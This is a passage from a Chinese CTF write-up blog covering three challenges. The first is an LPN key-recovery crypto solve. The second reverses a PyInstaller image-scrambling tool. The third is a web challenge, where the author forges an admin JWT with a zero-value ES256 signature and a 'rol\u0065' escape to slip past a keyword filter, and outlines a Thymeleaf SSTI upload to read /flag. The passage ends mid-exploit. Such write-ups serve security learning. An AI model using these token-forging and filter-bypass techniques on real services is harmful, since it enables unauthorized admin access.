class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    pos = data.find(<span class="string">b&quot;PK\x03\x04&quot;</span>, off)</span><br><span class="line">    <span class="keyword">if</span> pos &lt; <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    _, _, _, _, _, _, _, csize, usize, nlen, elen = struct.unpack_from(</span><br><span class="line">        <span class="string">&quot;&lt;IHHHHHIIIHH&quot;</span>, data, pos</span><br><span class="line">    )</span><br><span class="line">    start = pos + <span class="number">30</span> + nlen + elen</span><br><span class="line">    page = zlib.decompress(data[start:start + csize], -<span class="number">15</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(page), <span class="number">19</span>):</span><br><span class="line">        bit = page[i + <span class="number">18</span>]</span><br><span class="line">        <span class="keyword">if</span> bit <span class="keyword">in</span> (<span class="number">0</span>, <span class="number">1</span>):</span><br><span class="line">            mask = <span class="built_in">int</span>.from_bytes(page[i + <span class="number">2</span>:i + <span class="number">18</span>], <span class="string">&quot;little&quot;</span>) &amp; ((<span class="number">1</span> &lt;&lt; <span class="number">124</span>) - <span class="number">1</span>)</span><br><span class="line">            rows.append((mask, bit))</span><br><span class="line">    off = pos + <span class="number">1</span></span><br></pre></td></tr></table></figure><p>把记录抠出来以后，题目就变成了标准带噪 GF(2) 线性系统：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">noisy_bit = parity(mask &amp; key) xor noise</span><br></pre></td></tr></table></figure><p>也就是 LPN。这里最关键的判断点有两个：</p><ol><li><code>mask</code> 实际只有低 <code>124 bit</code> 在参与，最高 <code>4 bit</code> 恒为 0；</li><li>所以真正未知的是 <code>124 bit key</code>，不是完整 <code>128 bit</code> 暴力。</li></ol><p>解的时候我走的是信息集解码。流程是：</p><ol><li>随机挑 <code>124</code> 条记录做基；</li><li>在 GF(2) 上消元，先得到一个候选 <code>base_key</code>；</li><li>假设基里有少量噪声，就把真 key 视作 <code>base_key xor 若干列修正</code>；</li><li>只枚举基内噪声重量 <code>0/1/2</code> 的情况；</li><li>先用一小批验证行筛掉随机候选，再用全量 <code>20480</code> 条记录打分。</li></ol><p>真正落成脚本时，我没有直接把 <code>124 bit</code> 放进 Python 大整数里慢慢消，而是先把每条 mask 拆成两段：</p><ul><li><code>lo</code>：低 <code>64 bit</code></li><li><code>hi</code>：高 <code>60 bit</code></li></ul><p>对应的加载函数就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">N = <span class="number">124</span></span><br><span class="line">LOW64_INT = (<span class="number">1</span> &lt;&lt; <span class="number">64</span>) - <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_arrays</span>(<span class="params">path=<span class="string">&quot;src/ledger.broken&quot;</span></span>):</span><br><span class="line">    data = pathlib.Path(path).read_bytes()</span><br><span class="line">    los, his, rhs = [], [], []</span><br><span class="line">    off = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        pos = data.find(<span class="string">b&quot;PK\\x03\\x04&quot;</span>, off)</span><br><span class="line">        <span class="keyword">if</span> pos &lt; <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">        _, _, _, comp, _, _, _, csize, usize, nlen, elen = struct.unpack_from(</span><br><span class="line">            <span class="string">&quot;&lt;IHHHHHIIIHH&quot;</span>, data, pos</span><br><span class="line">        )</span><br><span class="line">        start = pos + <span class="number">30</span> + nlen + elen</span><br><span class="line">        blob = data[start : start + csize]</span><br><span class="line">        page = zlib.decompress(blob, -<span class="number">15</span>) <span class="keyword">if</span> comp == <span class="number">8</span> <span class="keyword">else</span> blob</span><br><span class="line">        <span class="keyword">assert</span> <span class="built_in">len</span>(page) == usize <span class="keyword">and</span> <span class="built_in">len</span>(page) % <span class="number">19</span> == <span class="number">0</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(page), <span class="number">19</span>):</span><br><span class="line">            bit = page[i + <span class="number">18</span>]</span><br><span class="line">            <span class="keyword">if</span> bit <span class="keyword">in</span> (<span class="number">0</span>, <span class="number">1</span>):</span><br><span class="line">                mask = <span class="built_in">int</span>.from_bytes(page[i + <span class="number">2</span> : i + <span class="number">18</span>], <span class="string">&quot;little&quot;</span>) &amp; ((<span class="number">1</span> &lt;&lt; N) - <span class="number">1</span>)</span><br><span class="line">                los.append(mask &amp; LOW64_INT)</span><br><span class="line">                his.append(mask &gt;&gt; <span class="number">64</span>)</span><br><span class="line">                rhs.append(bit)</span><br><span class="line">        off = pos + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        np.array(los, dtype=np.uint64),</span><br><span class="line">        np.array(his, dtype=np.uint64),</span><br><span class="line">        np.array(rhs, dtype=np.uint8),</span><br><span class="line">    )</span><br></pre></td></tr></table></figure><p>后面所有评分和验证都围绕这三个数组走：<code>los / his / rhs</code>。这样好处很直接，<code>parity(mask &amp; key)</code> 可以完全落在 <code>uint64</code> 运算里，后面再用 <code>numba</code> 把热点循环压下去。</p><p>脚本里真正用来跑分的基本原语只有几组：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@njit</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parity_u64</span>(<span class="params">x</span>):</span><br><span class="line">    x ^= x &gt;&gt; np.uint64(<span class="number">32</span>)</span><br><span class="line">    x ^= x &gt;&gt; np.uint64(<span class="number">16</span>)</span><br><span class="line">    x ^= x &gt;&gt; np.uint64(<span class="number">8</span>)</span><br><span class="line">    x ^= x &gt;&gt; np.uint64(<span class="number">4</span>)</span><br><span class="line">    <span class="keyword">return</span> (np.uint64(<span class="number">0x6996</span>) &gt;&gt; (x &amp; np.uint64(<span class="number">0xF</span>))) &amp; np.uint64(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@njit</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parity_dot</span>(<span class="params">lo, hi, klo, khi</span>):</span><br><span class="line">    <span class="keyword">return</span> parity_u64((lo &amp; klo) ^ (hi &amp; khi))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@njit</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">score_all</span>(<span class="params">los, his, rhs, klo, khi</span>):</span><br><span class="line">    err = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(los.shape[<span class="number">0</span>]):</span><br><span class="line">        pred = parity_dot(los[idx], his[idx], klo, khi)</span><br><span class="line">        err += <span class="built_in">int</span>(pred ^ np.uint64(rhs[idx]))</span><br><span class="line">    <span class="keyword">return</span> err</span><br></pre></td></tr></table></figure><p>也就是说，整个候选筛选过程最后都收束到一件事：某个 <code>(klo, khi)</code> 在全量 <code>20480</code> 条记录上会错多少次。</p><p>筛分时看的是总错误数。真命中候选的错误率会明显低于随机值；随机候选会落在一半附近，真解这次跑出来是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2982 / 20480 = 14.56%</span><br></pre></td></tr></table></figure><p>这一下就能和随机错误率 <code>~10240 / 20480</code> 拉开差距。最后还差最高 4 bit，这里不用猜，直接拿题目给的 sanity hash 补齐。命中的 key 必须满足：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sha256(b&quot;ledger-fog-check:&quot; + key).hexdigest()[:4] == &quot;8f42&quot;</span><br></pre></td></tr></table></figure><p>为了不把全量评分浪费在明显随机的候选上，脚本中间还插了一层非常小的验证集。实际就是固定抽 <code>128</code> 条行先做预筛：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">val_idx = np.random.default_rng(<span class="number">0x20260606</span>).choice(</span><br><span class="line">    los.shape[<span class="number">0</span>], size=<span class="number">128</span>, replace=<span class="literal">False</span></span><br><span class="line">).astype(np.int64)</span><br></pre></td></tr></table></figure><p>每轮信息集解码不是只出一个 <code>base_key</code>，而是会同时枚举：</p><ul><li>权重 <code>0</code>：不修正</li><li>权重 <code>1</code>：翻一列</li><li>权重 <code>2</code>：翻两列</li></ul><p>本地 <code>solve.py</code> 里这一步由 <code>prange_w2_batch()</code> 一次做完。它每轮会：</p><ol><li>随机抽基；</li><li>做 GF(2) 消元；</li><li>反推出 inverse columns；</li><li>在验证集上筛掉大多数候选；</li><li>只有验证错误数足够低的候选才去跑 <code>score_all()</code>。</li></ol><p>跑批入口就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">seed = np.uint64(<span class="number">0x9E3779B97F4A7C15</span>)</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    seed, rank_ok, val_pass, best_val, best_full, blo, bhi = prange_w2_batch(</span><br><span class="line">        los, his, rhs, val_idx, seed, <span class="number">1000</span>, <span class="number">32</span></span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">if</span> best_full &lt; <span class="number">8000</span>:</span><br><span class="line">        key = high_nibble(blo, bhi)</span><br><span class="line">        <span class="keyword">if</span> key <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;key = <span class="subst">&#123;key.to_bytes(<span class="number">16</span>, <span class="string">&#x27;little&#x27;</span>).<span class="built_in">hex</span>()&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;score = <span class="subst">&#123;best_full&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(flag_from_key(key))</span><br><span class="line">            <span class="keyword">return</span></span><br></pre></td></tr></table></figure><p>这里几个数字都是实打实调过的：</p><ul><li>每批 <code>1000</code> 轮</li><li>验证集阈值 <code>32</code></li><li>全量错误数先卡到 <code>&lt; 8000</code></li></ul><p>一旦某个候选真的能把全量错误数压到这个量级，后面的 <code>high_nibble()</code> 基本就是最后补完那 <code>4 bit</code>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">high_nibble</span>(<span class="params">klo, khi</span>):</span><br><span class="line">    key_low = <span class="built_in">int</span>(klo) | (<span class="built_in">int</span>(khi) &lt;&lt; <span class="number">64</span>)</span><br><span class="line">    <span class="keyword">for</span> hi <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>):</span><br><span class="line">        key = key_low | (hi &lt;&lt; N)</span><br><span class="line">        kb = key.to_bytes(<span class="number">16</span>, <span class="string">&quot;little&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> hashlib.sha256(<span class="string">b&quot;ledger-fog-check:&quot;</span> + kb).hexdigest()[:<span class="number">4</span>] == <span class="string">&quot;8f42&quot;</span>:</span><br><span class="line">            <span class="keyword">return</span> key</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>这一步也把一个容易写错的细节钉死了：题目里的 <code>key_bytes</code> 是按 <strong>little-endian</strong> 去做 hash 的，所以补高 4 bit 时不能只拼十六进制字符串，必须先回到整数，再 <code>to_bytes(16, &quot;little&quot;)</code>。</p><p>跑出来的 key bytes 是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">93357a0326c0959b74326fc87454ccb6</span><br></pre></td></tr></table></figure><p>对应的 sanity hash 为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">8f4203597f8602825800006ecf5f7581815f81e4a6f1d580ef431768d0a3acc4</span><br></pre></td></tr></table></figure><p>确认 key 没走偏以后，再按题目要求出 flag：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line">key = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;93357a0326c0959b74326fc87454ccb6&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(sha256(<span class="string">b&quot;ledger-fog:&quot;</span> + key).hexdigest()[:<span class="number">32</span>])</span><br></pre></td></tr></table></figure><p>输出正好是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">e0237ecf9df86738a2b50ad66174efed</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;e0237ecf9df86738a2b50ad66174efed&#125;</span><br></pre></td></tr></table></figure><h2 id="encrypt"><a href="#encrypt" class="headerlink" title="encrypt"></a>encrypt</h2><ul><li>类型：Misc</li><li>得分：290</li><li>时间：06&#x2F;06 14:08:50</li></ul><p>附件给的是 <code>Encrypt.exe</code> 和 <code>3.png</code>。起手不去猜图片内容，而是先确认 <code>Encrypt.exe</code> 到底是什么。最直接的做法是先扫一遍文件里的特征字符串：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">python - &lt;&lt;<span class="string">&#x27;PY&#x27;</span></span><br><span class="line">from pathlib import Path</span><br><span class="line"></span><br><span class="line">b = Path(<span class="string">&quot;Encrypt.exe&quot;</span>).read_bytes()</span><br><span class="line"><span class="keyword">for</span> magic <span class="keyword">in</span> [<span class="type">b</span><span class="string">&quot;PYZ\x00&quot;</span>, <span class="type">b</span><span class="string">&quot;MEI\x0c\x0b\x0a\x0b\x0e&quot;</span>, <span class="type">b</span><span class="string">&quot;PyInstaller&quot;</span>, <span class="type">b</span><span class="string">&quot;python&quot;</span>]:</span><br><span class="line">    print(magic, b.find(magic))</span><br><span class="line">PY</span><br></pre></td></tr></table></figure><p>能直接看到 <code>PYZ</code>、<code>MEI</code>、<code>PyInstaller</code>、<code>python313.dll</code> 这些典型痕迹，所以这不是原生 C&#x2F;C++ 小程序，而是 PyInstaller 打包出来的 Python 3.13 程序。</p><p>确认这一点之后，方向就不再是“猜图片里藏了什么”，而是“把打包程序拆开，看它对图做了什么”。继续解 PyInstaller archive，会看到入口脚本是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">encrypt_image(input_path, output_path, rounds, <span class="literal">None</span>)</span><br></pre></td></tr></table></figure><p>再往里跟，真正有用的模块只有两个：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">encrypt</span><br><span class="line">srpm_utils</span><br></pre></td></tr></table></figure><p><code>encrypt.py</code> 负责逐通道处理图像，<code>srpm_utils.py</code> 里是置换逻辑。拆开后可以确认它不是传统密码学加密，而是把 RGB 三个通道分别展平，然后做 <code>3</code> 轮可逆 swap 置换。</p><p>核心置换函数就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">swap_target</span>(<span class="params">index, length, round_index, channel_index</span>):</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        index * index</span><br><span class="line">        + (<span class="number">2</span> * round_index + <span class="number">3</span>) * index</span><br><span class="line">        + <span class="number">7</span> * (channel_index + <span class="number">1</span>)</span><br><span class="line">    ) % length</span><br></pre></td></tr></table></figure><p>加密时对展平后的单通道数组从前往后交换：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> index <span class="keyword">in</span> <span class="built_in">range</span>(values.size):</span><br><span class="line">    target = swap_target(index, values.size, round_index, channel_index)</span><br><span class="line">    values[index], values[target] = values[target], values[index]</span><br></pre></td></tr></table></figure><p>所以逆过来的时候，两个顺序都要反：</p><ol><li>每一轮从最后一轮倒着撤；</li><li>每轮内部从最后一个 index 倒着 swap 回去。</li></ol><p>这里最容易写错的就是这两个倒序条件，只反一个顺序都会得到一张“看起来像解出了一点、但整体还是乱”的假结果。真正的逆过程要把三通道逐个单独撤回，完整脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">swap_target</span>(<span class="params">index: <span class="built_in">int</span>, length: <span class="built_in">int</span>, round_index: <span class="built_in">int</span>, channel_index: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        index * index</span><br><span class="line">        + (<span class="number">2</span> * round_index + <span class="number">3</span>) * index</span><br><span class="line">        + <span class="number">7</span> * (channel_index + <span class="number">1</span>)</span><br><span class="line">    ) % length</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">undo_quadratic_swaps</span>(<span class="params">values: np.ndarray, round_index: <span class="built_in">int</span>, channel_index: <span class="built_in">int</span></span>) -&gt; np.ndarray:</span><br><span class="line">    restored = values.copy()</span><br><span class="line">    length = restored.size</span><br><span class="line">    <span class="keyword">for</span> index <span class="keyword">in</span> <span class="built_in">range</span>(length - <span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        target = swap_target(index, length, round_index, channel_index)</span><br><span class="line">        restored[index], restored[target] = restored[target], restored[index]</span><br><span class="line">    <span class="keyword">return</span> restored</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_channel</span>(<span class="params">channel_array: np.ndarray, rounds: <span class="built_in">int</span>, channel_index: <span class="built_in">int</span></span>) -&gt; np.ndarray:</span><br><span class="line">    current = channel_array.reshape(-<span class="number">1</span>).astype(np.uint8).copy()</span><br><span class="line">    <span class="keyword">for</span> round_index <span class="keyword">in</span> <span class="built_in">range</span>(rounds - <span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        current = undo_quadratic_swaps(current, round_index, channel_index)</span><br><span class="line">    <span class="keyword">return</span> current.reshape(channel_array.shape)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_image</span>(<span class="params">input_path: <span class="built_in">str</span>, output_path: <span class="built_in">str</span>, rounds: <span class="built_in">int</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    encrypted = np.array(Image.<span class="built_in">open</span>(input_path).convert(<span class="string">&quot;RGB&quot;</span>))</span><br><span class="line">    channels = []</span><br><span class="line">    <span class="keyword">for</span> channel_index <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">        channels.append(decrypt_channel(encrypted[:, :, channel_index], rounds, channel_index))</span><br><span class="line">    restored = np.stack(channels, axis=<span class="number">2</span>).astype(np.uint8)</span><br><span class="line">    Image.fromarray(restored, <span class="string">&quot;RGB&quot;</span>).save(output_path)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(<span class="string">&quot;input&quot;</span>, nargs=<span class="string">&quot;?&quot;</span>, default=<span class="string">&quot;3.png&quot;</span>)</span><br><span class="line">    parser.add_argument(<span class="string">&quot;output&quot;</span>, nargs=<span class="string">&quot;?&quot;</span>, default=<span class="string">&quot;3_decrypted.png&quot;</span>)</span><br><span class="line">    parser.add_argument(<span class="string">&quot;--rounds&quot;</span>, <span class="built_in">type</span>=<span class="built_in">int</span>, default=<span class="number">3</span>)</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line">    decrypt_image(args.<span class="built_in">input</span>, args.output, args.rounds)</span><br></pre></td></tr></table></figure><p>直接运行：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python solve_srpm.py <span class="number">3</span>.png <span class="number">3</span>_decrypted.png <span class="literal">--rounds</span> <span class="number">3</span></span><br></pre></td></tr></table></figure><p>脚本跑完以后，<code>3_decrypted.png</code> 会从完全乱图变成一张正常场景照。这里的确认点非常硬，不存在“差一点”的中间态：顺序全对，画面就会直接恢复；顺序错一点，整张图还是乱的。</p><p>恢复出来的画面是海边台阶、松树、观景平台和安全提示牌，地点线索已经很明显，指向威海海边场景。所以这题最后不是再做二次解密，而是从恢复图像的地点信息直接落到答案。</p><p>最后的结果验证也很直接：只要输出图能稳定恢复为威海场景，这一题就已经结束。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Wei_Hai_journey&#125;</span><br></pre></td></tr></table></figure><h2 id="川味小厨"><a href="#川味小厨" class="headerlink" title="川味小厨"></a>川味小厨</h2><ul><li>类型：Web</li><li>得分：839</li><li>时间：06&#x2F;06 13:53:14</li></ul><p>这题打点的时候，入口不是先去猜后台，而是先把鉴权和上传两个接口一起看。<br>真正能串起来的链有两段：第一段是伪造管理员身份拿到密码和会话，第二段是借上传功能把恶意模板写进 <code>templates/orders.html</code>，再访问订单页触发 Thymeleaf SSTI 读 <code>/flag</code>。</p><p>起手先盯 <code>api/user/profile</code>。这个接口只要能混成管理员身份，就会把管理员资料直接吐出来，里面连密码都在，所以第一步不是爆破，不是注册，也不是先找后台入口，而是先伪造 JWT。</p><p>JWT 头和体直接自己构：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;alg&quot;</span><span class="punctuation">:</span><span class="string">&quot;ES256&quot;</span><span class="punctuation">,</span><span class="attr">&quot;typ&quot;</span><span class="punctuation">:</span><span class="string">&quot;JWT&quot;</span><span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;phone&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">,</span><span class="attr">&quot;role&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">,</span><span class="attr">&quot;sid&quot;</span><span class="punctuation">:</span><span class="string">&quot;exp&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>实际发的时候为了绕一下关键词，<code>role</code> 字段改写成：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;phone&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">,</span><span class="attr">&quot;rol\u0065&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">,</span><span class="attr">&quot;sid&quot;</span><span class="punctuation">:</span><span class="string">&quot;exp&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>这里有三个关键点：</p><ol><li><code>phone</code> 直接指定成 <code>admin</code>；</li><li><code>role</code> 用 <code>rol\u0065</code> 写法送进去，服务端解析后还是 <code>role</code>；</li><li>签名段不需要真签，只要按当时能过校验的固定尾巴拼上去即可。</li></ol><p>header、body 分别做 URL-safe Base64 后，实际得到的是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">header = eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9</span><br><span class="line">body   = eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ</span><br></pre></td></tr></table></figure><p>这里我没有直接拿在线工具拼 JWT，而是自己写了一个最短编码函数，确保输出的就是去掉 <code>=</code> 填充的 URL-safe Base64：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encode</span>(<span class="params">data</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">isinstance</span>(data, <span class="built_in">str</span>):</span><br><span class="line">        data = data.encode()</span><br><span class="line">    <span class="keyword">return</span> base64.urlsafe_b64encode(data).decode().rstrip(<span class="string">&quot;=&quot;</span>)</span><br></pre></td></tr></table></figure><p>把头和体送进去以后，实际组装过程就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">head = <span class="string">&#x27;&#123;&quot;alg&quot;:&quot;ES256&quot;,&quot;typ&quot;:&quot;JWT&quot;&#125;&#x27;</span></span><br><span class="line">body = <span class="string">&#x27;&#123;&quot;phone&quot;:&quot;admin&quot;,&quot;rol\\u0065&quot;:&quot;admin&quot;,&quot;sid&quot;:&quot;exp&quot;&#125;&#x27;</span></span><br><span class="line">h_enc = encode(head)</span><br><span class="line">b_enc = encode(body)</span><br><span class="line">token = <span class="string">f&quot;<span class="subst">&#123;h_enc&#125;</span>.<span class="subst">&#123;b_enc&#125;</span>.MAYCAQACAQA&quot;</span></span><br></pre></td></tr></table></figure><p>最后拼出的伪造 token 就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYCAQACAQA</span><br></pre></td></tr></table></figure><p>然后直接带 <code>Authorization</code> 去打资料接口：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td 